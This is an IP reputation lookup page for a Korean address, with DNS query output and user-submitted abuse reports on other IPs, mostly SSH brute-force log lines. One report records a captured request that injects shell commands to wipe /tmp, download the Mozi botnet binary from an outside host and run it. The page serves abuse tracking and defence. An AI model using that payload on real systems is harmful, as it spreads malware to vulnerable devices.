Must be a valid IPv4 or IPv6 ip address, e.g. 127.0.0.1 or 2001:DB8:0:0:8:800:200C:417A
Basic Info

City: unknown

Region: unknown

Country: Korea (the Republic of)

Internet Service Provider: unknown

Hostname: unknown

Organization: unknown

Usage Type: unknown

Comments:
No discussion about this IP yet. Click above link to make one.
Comments on same subnet:
No discussion about this subnet yet..
Whois info:
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Dig info:
; <<>> DiG 9.10.3-P4-Ubuntu <<>> 42.9.253.143
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 34329
;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 0

;; QUESTION SECTION:
;42.9.253.143.			IN	A

;; AUTHORITY SECTION:
.			30	IN	SOA	a.root-servers.net. nstld.verisign-grs.com. 2025022201 1800 900 604800 86400

;; Query time: 16 msec
;; SERVER: 183.60.83.19#53(183.60.83.19)
;; WHEN: Sun Feb 23 04:39:09 CST 2025
;; MSG SIZE  rcvd: 105
Host info
Host 143.253.9.42.in-addr.arpa. not found: 3(NXDOMAIN)
Nslookup info:
Server:		183.60.83.19
Address:	183.60.83.19#53

** server can't find 143.253.9.42.in-addr.arpa: NXDOMAIN
Related IP info:
Related comments:
IP Type Details Datetime
64.227.67.106 attack
May  8 08:59:19 lukav-desktop sshd\[10299\]: Invalid user abc from 64.227.67.106
May  8 08:59:19 lukav-desktop sshd\[10299\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=64.227.67.106
May  8 08:59:22 lukav-desktop sshd\[10299\]: Failed password for invalid user abc from 64.227.67.106 port 51370 ssh2
May  8 09:02:57 lukav-desktop sshd\[10329\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=64.227.67.106  user=root
May  8 09:02:58 lukav-desktop sshd\[10329\]: Failed password for root from 64.227.67.106 port 60854 ssh2
2020-05-08 16:47:48
49.232.59.246 attack
$f2bV_matches
2020-05-08 16:43:42
83.51.197.63 attack
Unauthorized connection attempt detected from IP address 83.51.197.63 to port 22
2020-05-08 16:23:55
217.167.171.234 attack
2020-05-08T08:29:37.046258amanda2.illicoweb.com sshd\[9062\]: Invalid user carl from 217.167.171.234 port 56664
2020-05-08T08:29:37.048465amanda2.illicoweb.com sshd\[9062\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=217.167.171.234
2020-05-08T08:29:39.158532amanda2.illicoweb.com sshd\[9062\]: Failed password for invalid user carl from 217.167.171.234 port 56664 ssh2
2020-05-08T08:37:09.920959amanda2.illicoweb.com sshd\[9600\]: Invalid user sys from 217.167.171.234 port 52649
2020-05-08T08:37:09.924197amanda2.illicoweb.com sshd\[9600\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=217.167.171.234
...
2020-05-08 16:34:30
116.203.93.76 attackbots
May  8 07:46:34 ms-srv sshd[3264]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=116.203.93.76  user=irc
May  8 07:46:35 ms-srv sshd[3264]: Failed password for invalid user irc from 116.203.93.76 port 41484 ssh2
2020-05-08 16:22:23
223.12.157.22 attackbots
C1,DEF GET /shell?cd+/tmp;rm+-rf+*;wget+http://223.12.157.22:39937/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws
2020-05-08 16:37:47
49.233.134.252 attackspam
May  8 06:50:09 legacy sshd[25421]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=49.233.134.252
May  8 06:50:12 legacy sshd[25421]: Failed password for invalid user sun from 49.233.134.252 port 39018 ssh2
May  8 06:52:52 legacy sshd[25521]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=49.233.134.252
...
2020-05-08 16:41:07
183.89.215.46 attackbots
Brute Force - Dovecot
2020-05-08 16:12:24
217.61.121.57 attackbots
Brute-force attempt banned
2020-05-08 16:14:27
188.166.159.148 attack
(sshd) Failed SSH login from 188.166.159.148 (GB/United Kingdom/atom.costtel.com): 5 in the last 3600 secs
2020-05-08 16:41:19
129.204.118.151 attackspambots
" "
2020-05-08 16:32:08
194.152.206.12 attack
May  8 16:52:14 web1 sshd[25956]: Invalid user hua from 194.152.206.12 port 47384
May  8 16:52:14 web1 sshd[25956]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=194.152.206.12
May  8 16:52:14 web1 sshd[25956]: Invalid user hua from 194.152.206.12 port 47384
May  8 16:52:16 web1 sshd[25956]: Failed password for invalid user hua from 194.152.206.12 port 47384 ssh2
May  8 17:00:45 web1 sshd[28057]: Invalid user admin from 194.152.206.12 port 57572
May  8 17:00:45 web1 sshd[28057]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=194.152.206.12
May  8 17:00:45 web1 sshd[28057]: Invalid user admin from 194.152.206.12 port 57572
May  8 17:00:47 web1 sshd[28057]: Failed password for invalid user admin from 194.152.206.12 port 57572 ssh2
May  8 17:04:55 web1 sshd[29318]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=194.152.206.12  user=root
May  8 17:04:57 web1 sshd[2931
...
2020-05-08 16:43:29
222.186.175.148 attackspambots
May  8 10:18:54 santamaria sshd\[29725\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=222.186.175.148  user=root
May  8 10:18:56 santamaria sshd\[29725\]: Failed password for root from 222.186.175.148 port 51980 ssh2
May  8 10:19:06 santamaria sshd\[29725\]: Failed password for root from 222.186.175.148 port 51980 ssh2
...
2020-05-08 16:26:11
180.76.54.234 attack
May  8 08:05:40 *** sshd[12895]: Invalid user leonardo from 180.76.54.234
2020-05-08 16:30:55
35.200.183.13 attackbots
Wordpress malicious attack:[sshd]
2020-05-08 16:15:53

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